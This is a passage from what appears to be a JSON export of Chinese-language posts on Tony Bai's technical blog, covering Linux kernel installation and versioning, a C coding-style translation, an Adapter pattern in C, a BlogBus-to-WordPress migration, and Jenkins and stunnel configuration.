2010-03-17 vmlinuz-2.6.18-194.el5xen\n-rw-r–r– 1 root root 417317 2010-03-17 xen.gz-2.6.18-194.el5\n-rwxr-xr-x 1 root root 969808 2010-03-17 xen-syms-2.6.18-194.el5\n$ vi /boot/grub/grub.conf\n#boot=/dev/hda\ndefault=0\ntimeout=5\nsplashimage=(hd0,0)/grub/splash.xpm.gz\nhiddenmenu\ntitle Red Hat Enterprise Linux Server (2.6.18-194.el5xen)\nroot (hd0,0)\nkernel /xen.gz-2.6.18-194.el5 crashkernel=128M@32M\nmodule /vmlinuz-2.6.18-194.el5xen ro root=/dev/VolGroup00/LogVol00 rhgb quiet\nmodule /initrd-2.6.18-194.el5xen.img\n可以看出vmlinuz-*这个文件就是内核映像文件，它其实就是arch/x86/boot/bzImage的拷贝；但我们无法通过直接压缩vmlinux来得到vmlinuz-*，据说vmlinuz在头部放置了gzip的解压代码。\n我们通过make install进行内核安装：\n$ make install\nsh /home/tonybai/linux-kernel/linux-2.6.28/arch/x86/boot/install.sh 2.6.28 arch/x86/boot/bzImage System.map \u0026ldquo;/boot\u0026rdquo;\nmake install调用的是对应arch下提供的install.sh来安装内核。arch/x86/boot/install.sh检测系统中是否安装了installkernel脚本，如果有则调用installkernel工具安装内核，否则进行默认安装。至少在Red Hat的发行版上我们是可以找到installkernel这个脚本的。installkernel除了将bzImage和System.map安装到/boot下之外，还调用了/sbin/new-kernel-pkg制作了initrd-2.6.28.img，并修改了grub.conf(使用grubby配置grub)的内容：\n$ ls -l /boot\n-rw——- 1 root root 3369458 03-14 08:59 initrd-2.6.28.img\nlrwxrwxrwx 1 root root 33 03-14 10:41 System.map -\u0026gt; /boot/System.map-2.6.28\n-rw-r–r– 1 root root 1397880 03-14 08:58 System.map-2.6.28\nlrwxrwxrwx 1 root root 30 03-14 10:41 vmlinuz -\u0026gt; /boot/vmlinuz-2.6.28\n-rw-r–r– 1 root root 2080528 03-14 08:58 vmlinuz-2.6.28\n$ vi /boot/grub/grub.conf\ndefault=1\ntimeout=5\nsplashimage=(hd0,0)/grub/splash.xpm.gz\nhiddenmenu\ntitle Red Hat Enterprise Linux Server (2.6.28)\nroot (hd0,0)\nkernel /vmlinuz-2.6.28 ro root=/dev/VolGroup00/LogVol00 rhgb quiet\ninitrd /initrd-2.6.28.img\ntitle Red Hat Enterprise Linux Server (2.6.18-194.el5xen)\nroot (hd0,0)\nkernel /xen.gz-2.6.18-194.el5 crashkernel=128M@32M\nmodule /vmlinuz-2.6.18-194.el5xen ro root=/dev/VolGroup00/LogVol00 rhgb quiet\nmodule /initrd-2.6.18-194.el5xen.img\nmake install虽然对grub.conf进行了修改，但默认引导的内核依旧是原先的内核，我们需要手工将default改为0来引导我们新编译的2.6.28内核。\n五、引导新内核\n安装了新内核后，我们尝试使用新内核引导启动。执行Reboot后，新内核引导一切顺利。用\u0026rsquo;uname -r\u0026rsquo;查看结果如下：\n$ uname -r\n2.6.28\n至此，我们成功用上了自己编译的内核(后续应该会有关于内核引导阶段的详细Hacking描述^_^)。\n六、升级内核\n升级内核是内核开发者的日常活动之一。当有其他开发者发布新补丁或自己在现有内核上做了修改后，都会重新配置、编译和安装内核，也就是升级内核。\n升级内核一般按如下如下命令序列执行：\n$ make oldconfig\n$ make\n$ make install(如果有kernel module更新，应该先执行make modules_install)\n对于版本号不变的内核重新执行install，我们会在/boot下看到如下内容：\n$ ls -l /boot\n-rw——- 1 root root 3369458 03-14 08:59 initrd-2.6.28.img\nlrwxrwxrwx 1 root root 33 03-14 10:41 System.map -\u0026gt; /boot/System.map-2.6.28\n-rw-r–r– 1 root root 1397880 03-14 08:58 System.map-2.6.28\n-rw-r–r– 1 root root 1397880 03-14 08:51 System.map-2.6.28.old\nlrwxrwxrwx 1 root root 30 03-14 10:41 vmlinuz -\u0026gt; /boot/vmlinuz-2.6.28\n-rw-r–r– 1 root root 2080528 03-14 08:58 vmlinuz-2.6.28\n-rw-r–r– 1 root root 2080528 03-14 08:51 vmlinuz-2.6.28.old\n安装脚本会将上一次安装的2.6.28内核改名为2.6.28.old，然后将新内核安装到/boot下。grub.conf内容没有被修改。再次反复执行install，安装脚本始终会将老内核改名为.old，然后保证最新同版本内核被安装。\n七、定义自己的个性化内核版本号\nXenServer下的Rhel 5.5的内核版本号为2.6.18-194.el5xen，Ubuntu 10.04下的内核版本号为2.6.32-30-generic(通过uname -r查看)，我们如何定义一个属于自己的个性化内核版本号呢？其实很简单，修改顶层Makefile即可。\n# Makefile\nVERSION = 2\nPATCHLEVEL = 6\nSUBLEVEL = 28\nEXTRAVERSION = -tonybai-dev\n一个Kernel的版本号KERNELVERSION = $(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)，因此我们可通过修改EXTRAVERSION的内容来定义一个个性化的版本号，就像上面代码中的那样。\n修改Makefile后，执行make clean; make ;make modules_install; make install即可。执行后，你就会在/boot下面、/lib/modules下面以及grub.conf里面看到2.6.28-tonybai-dev这个版本的内核信息了。修改grub.conf使之默认引导2.6.28-tonybai-dev这个新内核，重新引导后，你执行\u0026rsquo;uname -r\u0026rsquo;的结果就会变成'2.6.28-tonybai-dev\u0026rsquo;了。\n至此，内核配置、编译与安装的部分就暂时告一段落了。在这个过程中，我参考了许多资料，这其中包括：\n相信后续的Hacking过程中，这些资料还将会发挥至关重要的作用。\n","permalink":"https://tonybai.com/2012/03/15/linux-kernel-hacking-series-kernel-config-compile-and-install/","summary":"\u003cp\u003e\u003cem\u003e\u003cstrong\u003eLinux Kernel之于C程序员，就好比世界之巅珠穆朗玛之于专业登山客。\u003c/strong\u003e\u003c/em\u003e — Tony Bai^_^\u003c/p\u003e\n\u003cp\u003e作为到目前为止最为成功的开源项目，\u003ca href=\"http://kernel.org/\"\u003eLinux Kernel\u003c/a\u003e总是散发着无穷的魅力，就好比那珠穆朗玛，让人魂牵梦绕，心潮澎湃并总是想尝试征服。\u003c/p\u003e","title":"也谈Linux Kernel Hacking – 内核配置、编译与安装"},{"content":"近期在为产品线的知识库编写一些指南类的文档，其中有一项就是对现有的C语言编码规范进行一些修订。为了\u0026quot;有米下锅\u0026quot;，我还特意在网上找了一些相关资料。关于C语言编码风格和标准的资料大多都成稿于上个世纪90年代，也就是在C90发布之后的若干年里；在C99发布后，部分资料根据最新的规范做了修订，但也有些资料认为C99对整体风格影响不大，也就保持了原样。\n在这些资料中，我重点关注了一下这份文档《Recommended C Style and Coding Standards》，它是著名的\u0026quot;Indian Hill C Style and Coding Standards\u0026quot;的更新版，从Google的搜索结果来看，似乎影响很广。这份文档内容不多，言简意赅，特别是后面的几个小节，例如宏、条件编译、可移植性以及ANSI C等章节很值得细致阅读和理解。\n我试图google该文档的中文版，居然没有找到。也许是这个文档比较老了，或者是其中有些注意事项在当今C编程领域较少能遇到了，再或许就是C语言老了，关注的人少了，总而言之，网上没有该文档的中文版。于是乎我就花了一些时间翻译了一个粗糙的中文版，供那些看E文和我一样吃力的朋友们参考。中文版以Wiki的形式放在了Google code(http://code.google.com/p/recommended-c-style-and-coding-standards-cn/)上了。这里需要先说明的是：翻译过程不是很细致，较随意，有些地方我理解得也不慎透彻，欢迎大家提出自己的见解，后续有时间还会持续地修订。\n这里提供一个快捷入口^_^：\n13. 宏\n","permalink":"https://tonybai.com/2012/03/07/the-chinese-translation-of-recommended-c-style-and-coding-standards/","summary":"\u003cp\u003e近期在为产品线的\u003ca href=\"http://tonybai.com/2011/11/23/those-things-about-knowledge-management/\"\u003e知识库\u003c/a\u003e编写一些指南类的文档，其中有一项就是对现有的C语言编码规范进行一些修订。为了\u0026quot;有米下锅\u0026quot;，我还特意在网上找了一些相关资料。关于C语言编码风格和标准的资料大多都成稿于上个世纪90年代，也就是在C90发布之后的若干年里；在\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99\u003c/a\u003e发布后，部分资料根据最新的规范做了修订，但也有些资料认为\u003ca href=\"http://tonybai.com/2011/08/31/simplify-coding-in-c99/\"\u003eC99\u003c/a\u003e对整体风格影响不大，也就保持了原样。\u003c/p\u003e\n\u003cp\u003e在这些资料中，我重点关注了一下这份文档《\u003ca href=\"http://www.psgd.org/paul/docs/cstyle/cstyle.htm\"\u003eRecommended C Style and Coding Standards\u003c/a\u003e》，它是著名的\u0026quot;Indian Hill C Style and Coding Standards\u0026quot;的更新版，从Google的搜索结果来看，似乎影响很广。这份文档内容不多，言简意赅，特别是后面的几个小节，例如宏、条件编译、可移植性以及ANSI C等章节很值得细致阅读和理解。\u003c/p\u003e","title":"C语言编码风格和标准"},{"content":"Adapter(适配器)模式是《Design Pattern》一书中结构类模式集中的第一个模式，也是一个真正被我的同事在产品代码中应用的模式。\nAdapter模式也是一个相对容易理解的模式，多数书籍和网络资料在描述这个模式时都使用了一个与电源适配器有关的例子，说不定Adapter模式还真的是源于对电源适配器的再思考和挖掘呢。\n我们在重构遗留代码时引入了Adapter模式。遗留系统中存在的问题大致是这样的：按照规范，最初的系统只需要支持一种通信协议，这里把这个协议暂叫做proto_a。后来随着规范的丰富，客户又先后引入了两种协议proto_b和proto_c。前辈们在处理这些需求时偷了一个懒儿，选择了直接copy两份一模一样的业务逻辑代码以应对两个新协议，这样在遗留系统中就形成了一份业务逻辑，三份相同的代码的局面。可想而知，这样的代码结构是多么的不易于后续维护啊。一旦业务逻辑发生一处变化，我们就需要修改三个位置。代码味道那是相当的浓烈。在遗留代码的重构过程中，我们决定尝试用Adapter模式解决这个问题。\n我们的目标是：一套业务逻辑，一套业务代码，支持三种不同的协议。还好这三种协议是基于同源设计的(从同一种协议演化而来)，也就是说具备设计统一操作接口的基础，这似乎天生就适合Adapter^_^。\n我们首先定义多种协议的统一操作接口：\n/* xx_proto_interface.h */\nstruct xx_proto_i {\nint (*xx_proto_login)(void *trans);\nint (*xx_proto_logoff)(void *trans);\nint (*xx_proto_req)(void *trans, void *req);\nint (*xx_proto_resp)(void *trans, int *status );\nint (*xx_proto_heartbeat)(void *trans);\n};\n显然Adapter的引入就是因为proto_a、proto_b和proto_c原生的接口与统一接口有差别，无法直接使用。我们以proto_a为例，增加一个proto_a的Adapter层：\n/* xx_proto_a_adapter.h */\n#include \u0026ldquo;xx_proto_interface.h\u0026rdquo;\n#include \u0026ldquo;proto_a.h\u0026rdquo;\nstruct xx_proto_i* get_proto_a_adapter_impl();\n/* xx_proto_a_adapter.c */\n#include \u0026ldquo;xx_proto_a_adapter.h\u0026rdquo;\nstatic int xx_proto_a_login_adapter(void *trans);\nstatic int xx_proto_a_logoff_adapter(void *trans);\nstatic int xx_proto_a_req_adapter(void *trans, void *req);\nstatic int xx_proto_a_resp_adapter(void *trans, int *status );\nstatic int xx_proto_a_heartbeat_adapter(void *trans);\nstruct xx_proto_a_adapter_t {\nstruct xx_proto_i impl;\n};\nstruct xx_proto_i* get_proto_a_adapter_impl() {\nstruct xx_proto_a_adapter_t *p = malloc(sizeof(*p));\nif (p == NULL) return NULL;\np-\u0026gt;impl.xx_proto_login = xx_proto_a_login_adapter;\np-\u0026gt;impl.xx_proto_logoff = xx_proto_a_logoff_adapter;\np-\u0026gt;impl.xx_proto_req = xx_proto_a_req_adapter;\np-\u0026gt;impl.xx_proto_resp = xx_proto_a_resp_adapter;\np-\u0026gt;impl.xx_proto_heartbeat = xx_proto_a_heartbeat_adapter;\nreturn (struct xx_proto_i*)p;\n}\nstatic int xx_proto_a_login_adapter(void *trans) {\nprintf (\u0026ldquo;proto_a_login\\n\u0026rdquo;);\n/* 这里使用proto_a的原生接口实现login */\nreturn 0;\n}\n… …这里省略若干个实现\nint xx_proto_a_heartbeat_adapter(void *trans) {\nprintf (\u0026ldquo;proto_a_receive_a_heartbeat\\n\u0026rdquo;);\n/* 这里使用proto_a的原生接口实现heartbeat */\nreturn 0;\n}\n实际上我们用proto_a的adapter包装(wrap)了proto_a的原生接口，也就是说proto_a的原生协议实现对客户是不可见的。在《设计模式》书中，Adapter模式的别名也叫Wrapper。\n客户端是这么来使用协议的，客户端只需要使用统一的xx_proto_i中的接口即可：\n#include \u0026ldquo;xx_proto.h\u0026rdquo;\n#include \u0026ldquo;xx_proto_a_adapter.h\u0026rdquo;\n#include \u0026ldquo;xx_proto_b_adapter.h\u0026rdquo;\n#include \u0026ldquo;xx_proto_c_adapter.h\u0026rdquo;\nint main() {\n/* 根据需要我们灵活选择使用proto_a、proto_b或proto_c的adapter实现 */\nstruct xx_proto_i *p = get_proto_a_adapter_impl();\nstruct proto_a_trans;\n/* some initializations */\n… …\np-\u0026gt;xx_proto_login(\u0026amp;trans);\np-\u0026gt;xx_proto_req(\u0026amp;trans, …);\n… …\n}\n任何事情都是有代价的，从上面可以看出Adapter模式的引用也使得代码变得庞大，很多proto的Adapter接口的实现可能都会是类似的和浅包装的。但与之前的问题相比，这些代价显然要小很多，并且用宏可以做适当改善。\n题外话：适度抽象可以使得代码更加清晰，易于改变和维护。但物极必反，过度抽象反倒会让代码的可读性和易维护性下降，特别是在代码中使用了模式等手法时，千万不能沉迷，因为大家在理解你的多层过度抽象上所要付出的代价可能更大。\n","permalink":"https://tonybai.com/2012/03/05/implement-adapter-pattern-in-c/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Adapter_design_pattern\"\u003eAdapter\u003c/a\u003e(适配器)模式是《\u003ca href=\"http://book.douban.com/subject/1052241\"\u003eDesign Pattern\u003c/a\u003e》一书中结构类模式集中的第一个模式，也是一个真正被我的同事在产品代码中应用的模式。\u003c/p\u003e\n\u003cp\u003eAdapter模式也是一个相对容易理解的模式，多数书籍和网络资料在描述这个模式时都使用了一个与电源适配器有关的例子，说不定Adapter模式还真的是源于对电源适配器的再思考和挖掘呢。\u003c/p\u003e","title":"Adapter模式的C实现"},{"content":"今天着实是一个值得纪念的日子，因为我终于完成了从BlogBus到WordPress的搬家工作，从此我的Blog将站在一个新的起点上。\n自从2004年开博以来，我坚持了七年多，至今仍孜孜不倦，写博客已经成为我的生活中不可或缺的一部分，即使在微博等大行其道的今天，我亦然如此。作出搬家的决定显然是十分痛苦的，因为要抛弃已经建立起来的使用习惯以及Blog人气(包括搜索引擎索引、外部引用的等)是十分艰难的。但我还是决定搬家，更多是因为我的一个小小的梦想：拥有一个自己可以完全控制的独立域名的个人站点。\ntonybai.com这个顶级域名是在2010年申请的，2010年末曾经尝试过一次搬家，但因技术原因最终没能实现。但鉴于BlogBus提供的服务愈发地不稳定，我又动了搬家的念头，而且有了上次失败的教训，这次我做好了充足的资料和技术准备。但即使如此，搬家过程依旧很辛苦，并且足足花了我一周多的业余时间，下面就来罗嗦一下搬家的过程。\n一、准备工作\n· 申请域名\n· 购买主机服务\n目前我的主机由91host.net提供，最初是我的同事Puras免费提供的。\n· 安装WordPress\n由Puras帮忙在我的主机空间上安装了WordPress 3.2.1。\n· 从BlogBus导出Blog数据\n使用BlogBus后台管理提供的导出工具，将你的Blog导出，顺利地话你将得到一个类似backup-20120217204644.xml这样的文件。导出后用编辑工具打开瞧瞧，看看导出的是否完整。\n· 将BlogBus数据文件转换为可导入WordPress的数据文件\n这次搬家我直接使用了\u0026quot;爱写字\u0026ldquo;提供的转换服务。首先在\u0026quot;爱写字\u0026quot;申请一个博客，然后通过其导入工具将上面导出的BlogBus的数据文件导入到\u0026quot;爱写字\u0026quot;中，我的导入过程很顺利，没有报错，但遗憾的是我在BlogBus上回复朋友的评论无法导入。\n· 修改Blog文章和链接\n\u0026ldquo;爱写字\u0026quot;支持免费域名绑定。我先将tonybai.com绑定到\u0026quot;爱写字\u0026quot;上，然后直接在\u0026quot;爱写字\u0026quot;上修改博客数据，包括建立分类、修改每篇Blog的自定义地址、内容中的链接以及自定义标签，这是一个极其繁琐且痛苦的活儿，也是整个搬家过程中最最耗时耗力的环节，我足足花了一周多。\n· 导出WordPress数据文件\n通过WordPress后台的导出工具，将修改好的Blog数据导出，这里有一个缺陷：那就是你的友情链接数据无法导出。\n二、WordPress站点配置及数据导入\n· WordPress设置链接格式\n进入WordPress控制面板，选择\u0026quot;设置\u0026rdquo;-\u0026gt;\u0026ldquo;固定链接\u0026rdquo;，设置链接形式为：\u0026ldquo;http://tonybai.com/2012/02/29/sample-post/\u0026quot;，之后WordPress提示我需要修改\u0026rdquo;.htaccess\u0026quot;文件。由于之前没有该文件，我按WordPress的提示，编辑好.htaccess文件后，上传到站点根目录下。\n· WordPress媒体设置\n进入WordPress控制面板，选择\u0026quot;设置\u0026rdquo;-\u0026gt;\u0026ldquo;媒体\u0026rdquo;，去除\u0026quot;以年—月目录形式组织上传内容\u0026quot;选项，统一使用默认的上传文件目录(需在wp-content下手工创建uploads目录)。\n· 安装WordPress Importer插件\nWordPress的导入功能是通过插件提供的，我们需要手动安装。在\u0026quot;安装插件\u0026quot;中搜索\u0026quot;WordPress Importer\u0026quot;，得到结果后，点击\u0026quot;安装\u0026quot;，WordPress就会自动进行插件安装。\n· 导入WordPress数据文件\nWordPress Importer安装完毕后，即可进行数据导入。导入前先用Ftp工具将uploads目录权限设置为777，然后选择本地要导入的文件，导入即可。WordPress Importer支持.gz结尾的压缩文件，它可以在上传后自动解压并导入数据。\n· 配置WordPress Theme\n我选择的是\u0026quot;Notepad Theme 1.3\u0026quot;，这个比较简单，不多说了。\n· 设置边栏布局\n通过控制面板中的\u0026quot;外观\u0026quot;-\u0026gt; \u0026ldquo;小工具\u0026rdquo;，我们可以通过拖拽的方式自定义边栏的布局，比如使用分类、日历、标签云等。\n· 安装必要插件\n目前我安装的必要插件有CKEditor for WordPress、Akismet、Copyrighted Post、Google XML Sitemaps、WP-RecentComments、BackUpWordPress、Google Analytics for WordPress等。\n· 安装robots.txt\n为了控制搜索引擎的行为，编写了一个robots.txt，放到了站点根目录下：\nUser-agent: *\nDisallow: /wp-\nDisallow: /feed/\nDisallow: /?feed\nDisallow: /comments/feed\nDisallow: /trackback/\n· 设置Feed\n为了编译了解订阅情况，我增加了一个二级域名feed.tonybai.com用于统一Feed地址。我通过Feedsky提供的服务将feed.tonybai.com绑定到feedsky提供的一个Feed(http://feed.feedsky.com/bigwhite)上，而Feed源使用的是WordPress自带的Feed地址http://tonybai.com/feed。另外我修改了Notepad Theme 1.3的源码，将页眉的RSS图标对应的Feed地址统一也改为了http://feed.tonybai.com，希望各位朋友也使用这个地址订阅本博客。\n三、WordPress站点备份\n· 采用BackUpWordPress备份整个站点\nBackUpWordPress不仅仅可以备份DB，还可以备份整个站点文件。备份前将wp-content目录的权限改为777，这样该插件就会在wp-content/backups下自动定期生成备份文件。如果需要，还可设置将备份的文件mail到指定邮箱中。\n· 备份Blog文章数据\n为了保险，我还会定期将最重要的Blog文章数据导出(xml格式)并压缩备份。\n四、其他设置\n· 统计服务\n原BlogBus是自带统计服务的，搬到WordPress后我采用两个第三方的统计服务：Google Analytics和StatCounter，其中Google Analytics可通过\u0026quot;Google Analytics for WordPress\u0026quot;进行设置和验证；StatCounter的安装则是通过在边栏的自定义Html代码区域添加完成的。\n· 自定义Html代码\n新浪微博秀、Google Reader分享等Widgets可通过边栏的自定义Html代码添加到站点上。\nOK，至此搬家过程的大部分工作都算是结束了，后续还会从BlogBus迁移一些图片到WordPress上，但都是些小活儿了。另外这次虽然离开了BlogBus(博客大巴)，但我仍要感激BlogBus这七年来为我提供的免费服务，也希望BlogBus能够坚持地走下去，并且能走得更好。\n","permalink":"https://tonybai.com/2012/02/29/a-new-departure-of-my-blog-move-from-blogbus-to-wordpress/","summary":"\u003cp\u003e今天着实是一个值得纪念的日子，因为我终于完成了从\u003ca href=\"http://www.blogbus.com/\"\u003eBlogBus\u003c/a\u003e到\u003ca href=\"http://tonybai.com/\"\u003eWordPress\u003c/a\u003e的搬家工作，从此我的Blog将站在一个新的起点上。\u003c/p\u003e\n\u003cp\u003e自从2004年\u003ca href=\"http://tonybai.com/2004/09/15/the-first-blog/\"\u003e开博\u003c/a\u003e以来，我坚持了七年多，至今仍孜孜不倦，写博客已经成为我的生活中不可或缺的一部分，即使在\u003ca href=\"http://en.wikipedia.org/wiki/Microblogging\"\u003e微博\u003c/a\u003e等大行其道的今天，我亦然如此。作出搬家的决定显然是十分痛苦的，因为要抛弃已经建立起来的使用习惯以及Blog人气(包括搜索引擎索引、外部引用的等)是十分艰难的。但我还是决定搬家，更多是因为我的一个小小的梦想：拥有一个自己可以完全控制的独立域名的个人站点。\u003c/p\u003e\n\u003cp\u003etonybai.com这个顶级域名是在2010年申请的，2010年末曾经尝试过一次\u003ca href=\"http://tonybai.com/2010/11/30/try-to-move-blog/\"\u003e搬家\u003c/a\u003e，但因技术原因最终没能实现。但鉴于BlogBus提供的服务愈发地不稳定，我又动了搬家的念头，而且有了上次失败的教训，这次我做好了充足的资料和技术准备。但即使如此，搬家过程依旧很辛苦，并且足足花了我一周多的业余时间，下面就来罗嗦一下搬家的过程。\u003c/p\u003e","title":"Blog新起点 – 从BlogBus搬家到WordPress"},{"content":"我们的后端C应用都是支持跨平台的，至少目前在Linux和Solaris上运行是没有问题的，这样一来我们在配置持续集成环境时就要考虑如何实现在代码Commit后触发多平台并行(同时)集成这个需求。\n之前使用Buildbot时是通过为一个Scheduler配置多个Builder满足这个需求的。但现在要换成Jenkins，我们如何来实现呢？昨天在折腾Jenkins时我把问题想简单了，今天细致查看了一下Build Log后才发现之前的配置并未真正实现多平台并行集成。\n最初的Jenkins配置大致是这样的：我在Jenkins上添加了两个节点(Slave Node)，分别为x86-linux-ci-slave和x86-solaris-ci-slave，并且为这两个节点设置了一个相同的标签\u0026quot;foo-ci-slaves\u0026quot;。之后我创建了一个新Job – \u0026ldquo;foo-multiplatform-ci\u0026rdquo;，选择的是\u0026quot;构建一个自由风格的软件项目(Build a free-style software project)\u0026quot;。为了使得该Job执行并行集成，我选择了\u0026quot;Restrict where this project can be run\u0026quot;，在\u0026quot;Label Expression\u0026quot;中填上了\u0026quot;foo-ci-slaves\u0026quot;，其他配置这里就不赘述了。\n按照我最初的理解，这样配置后点击\u0026quot;立即构建\u0026quot;，两个Slave Node上就会同时进行相关的集成。但Build Log告诉我事实并非我想象的那样：Jenkins只是在一个Slave Node上执行了Job。那使用Jenkins如何来实现前面所说的多平台并行集成呢？查来查去，我发现原来是我在创建Job时选错了配置，我应该选择\u0026quot;构建一个多配置项目(Build multiconfiguration project)\u0026quot;。\n与free-style project相比，multiconfiguration project的配置页面中不见了\u0026quot;Restrict where this project can be run\u0026quot;配置选项，但却多出了一个\u0026quot;Configuration Matrix\u0026quot;配置区域。在该区域中，我们可以选择Slaves，在Node/Label中，我们可以看到当前Jenkins中配置的所有Label和Nodes。选择一个Label是无法满足我们的要求的，那样Jenkins只会从Label中的若干个节点中选择一个来执行集成。所以我选择Nodes，将x86-linux-ci-slave和x86-solaris-ci-slave都选上，保存后我们就会在\u0026quot;foo-multiplatform-ci\u0026quot; Job的主页面上看到两个configuration: x86-linux-ci-slave和x86-solaris-ci-slave。点击\u0026quot;立即构建\u0026quot;，这两个configuration对应的小球标志就会同时闪动，这说明\u0026quot;foo-multiplatform-ci\u0026quot;正在两个Slave Node上并行运行呢，这才是我想要的结果。\n支持多平台并行集成只是Multiconfiguration Project的一个用途之一，《Jenkins: The Definitive Guide》一书对此有更为细致的讲解，你可以结合自定义Axis(坐标轴)以及parameterized Build实现更为复杂的构建需求。但目前我尚未遇到类似需求，所以这里也不敢乱说^_^。\n","permalink":"https://tonybai.com/2012/02/15/intergating-on-multiple-platforms-simultaneously-using-jenkins/","summary":"\u003cp\u003e我们的后端\u003ca href=\"http://tonybai.com/tag/C\"\u003eC应用\u003c/a\u003e都是支持跨平台的，至少目前在\u003ca href=\"http://tonybai.com/2011/04/29/feel-experience-after-using-ubuntu-for-one-year/\"\u003eLinux\u003c/a\u003e和\u003ca href=\"http://tonybai.com/2009/09/10/something-about-installing-solaris-10/\"\u003eSolaris\u003c/a\u003e上运行是没有问题的，这样一来我们在配置持续集成环境时就要考虑如何实现在代码Commit后触发多平台并行(同时)集成这个需求。\u003c/p\u003e\n\u003cp\u003e之前使用\u003ca href=\"http://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003eBuildbot\u003c/a\u003e时是通过为一个Scheduler配置多个Builder满足这个需求的。但现在要换成\u003ca href=\"http://jenkins-ci.org/\"\u003eJenkins\u003c/a\u003e，我们如何来实现呢？昨天在\u003ca href=\"http://tonybai.com/2012/02/14/install-and-configure-jenkins/\"\u003e折腾Jenkins\u003c/a\u003e时我把问题想简单了，今天细致查看了一下Build Log后才发现之前的配置并未真正实现多平台并行集成。\u003c/p\u003e\n\u003cp\u003e最初的Jenkins配置大致是这样的：我在Jenkins上添加了两个节点(Slave Node)，分别为x86-linux-ci-slave和x86-solaris-ci-slave，并且为这两个节点设置了一个相同的标签\u0026quot;foo-ci-slaves\u0026quot;。之后我创建了一个新Job – \u0026ldquo;foo-multiplatform-ci\u0026rdquo;，选择的是\u0026quot;构建一个自由风格的软件项目(Build a free-style software project)\u0026quot;。为了使得该Job执行并行集成，我选择了\u0026quot;Restrict where this project can be run\u0026quot;，在\u0026quot;Label Expression\u0026quot;中填上了\u0026quot;foo-ci-slaves\u0026quot;，其他配置这里就不赘述了。\u003c/p\u003e","title":"使用Jenkins实现多平台并行集成"},{"content":"Buildbot是产品线C应用项目中采用的唯一持续集成工具，一直以来用得还不错。但前些日子部门负责过程改善的同事找到我，说今年部门计划统一各个项目组所使用的Continuous Integration工具，Buildbot有些小众，没有入大家的法眼，部门期望使用的是Jenkins(即原来的Hudson)。既然组织有统一规划，那我自然积极支持。但首先要做的就是评估Jenkins是否能满足我们的需求，并且看看从Buildbot迁移到Jenkins的难度及工作量有多少。这不，今天下午就一直在折腾Jenkins。\n一、安装Jenkins\nJenkins(前身Hudson)很流行，在各大主流操作系统平台上都有很好的支持，其安装甚是方便，特别是在各主流的Linux发行版平台上，均可使用OS自带的应用包管理工具进行自动安装；当然你也可以直接在官方下载war包。我采用的就是第二种方式，旨在获得更高的Jenkins版本，不过让我失望的是在Ubuntu 9.04(Java version: 1.6.0_20)上，最新的1.451和1.450版本均启动失败，这也是我之前不太喜欢使用Java实现的工具的一个原因之一 – 总是容易出现莫名其妙的异常，而且较难找到原因，也很难fix，除非自己重新构建war包。在这方面像Python等动态脚本语言就有先天优势，一旦出现问题，我可以直接在源码中定位和修改。\n1.441版本的Jenkins让我看到了希望，至少启动是没有问题的。启动是通过下面命令行完成的：\njava -jar jenkins.war –logfile=~/.jenkins/jenkins.log –daemon –httpPort=9333\n如果你是使用包管理工具自动安装的Jenkins，那么Jenkins将被作为服务安装到指定位置(比如：/etc/default/jenkins)，并且在/etc/init.d下面创建了jenkins的init脚本。这样当主机重启后，Jenkins会被自动拉起。但如果你和我一样是手工下载的war包，那你就需要自己来保证Jenkins服务一直可用了。这里的一个简单的方法就是编写一个Jenkins运行的监控脚本，如果发现Jenkins未启动，就启动它，Jenkins_monitor.sh示例如下：\n#! /bin/bash\nresult=`ps -ef|sed \u0026lsquo;/grep/d\u0026rsquo;|grep jenkins.war`\nif [[ x$result == x ]];\nthen\ncd \u0026lsquo;/home/tonybai/proj/jenkins\u0026rsquo; \u0026amp;\u0026amp; java -jar jenkins.war –logfile=/home/tonybai/.jenkins/jenkins.log –daemon –httpPort=9333\nelse\necho \u0026ldquo;jenkins is alive!\u0026rdquo;\nfi\n最后将Jenkins_monitor.sh加到crontab中即可：\n$\u0026gt; crontab -l\n# m h dom mon dow command\n* * * * * bash /home/tonybai/proj/script/jenkins_monitor.sh\n二、配置Jenkins\nJenkins的配置是完全通过Web页面完成的，这点全面超越了Buildbot。关于Jenkins如何配置，网上的资料可谓是汗牛充栋，这里就不再重复了，这里只说说配置过程中遇到的一些问题以及解决方法。\n我们的产品需要进行多平台上并行持续集成，也就是说当trunk上有代码commit后，Jenkins应该发现代码变更，并同时通知多个不同Slave平台进行集成。之前的Buildbot是通过手工在不同平台上部署Buildslave满足这一需求的，Jenkins也是支持Master/Slave模式的，但Jenkins比Buildbot更加平易近人的地方在于Slave节点无需手工到主机上安装，只需通过在Web页面上添加Slave Node即可（实际上Jenkins在Slave Node上启动了一个Java程序\u0026quot;slave.jar\u0026quot;）。\n在配置Slave node时，我遇到了第一个问题：一个x86 Solaris平台的Slave node配置完后始终无法Online，而之前配置相同的一个x86 linux Slave节点却可以顺利Online。\n直到查看Log后，我才弄清楚真正的缘由。下面是Jenkins Master通过ssh连接Slave Node的Log节选：\nSSH connection reports a garbage before a command execution.\nCheck your .bashrc, .profile, and so on to make sure it is quiet.\nThe received junk text is as follows:\n######################\nApplication Server\nOn Solaris 10\n######################\nhudson.AbortException\nat hudson.plugins.sshslaves.SSHLauncher.verifyNoHeaderJunk(SSHLauncher.java:364)\n… …\n[02/14/12 14:03:23] [SSH] Connection closed.\n原来问题出在我在Slave Node节点的.bashrc中增加的那段个性化签名。Jenkins无法识别这段签名，从而抛出异常，导致Connect失败。注释掉这段签名后就可以看到Slave Node的状态为Online了。\n另外一个问题是有关Mail的配置的。公司的Mail Server年前做了一次升级，将安全连接方式由原先的SSL改为了STARTTLS，而Jenkins只支持SSL。没有mail通知的CI Server显然是不合格的。为此，我再次想起了当时Buildbot的Mail发送解决方案- 使用Stunnel。原先的Stunnel配置因公司Mail Server升级而失效了，所以需要对Stunnel做一些配置调整：\n这个配置调整着实花了我一些时间，也走了一些弯路，最后在反复阅读Stunnel配置手册后，才发现让Stunnel在Client Mode下支持STARTTLS，只需要做一项配置修改，即增加\u0026quot;protocol = smtp\u0026quot;这一行，示例如下：\n/* /etc/stunnel/stunnel.conf */\nclient = yes\n… …\n[smtp]\naccept = host_ip : listen_port\nconnect = mailserver_ip : mailserver_port\nprotocol = smtp\n这样Jenkins就可以用普通smtp连接方式(非SSL)通过stunnel与公司Mail 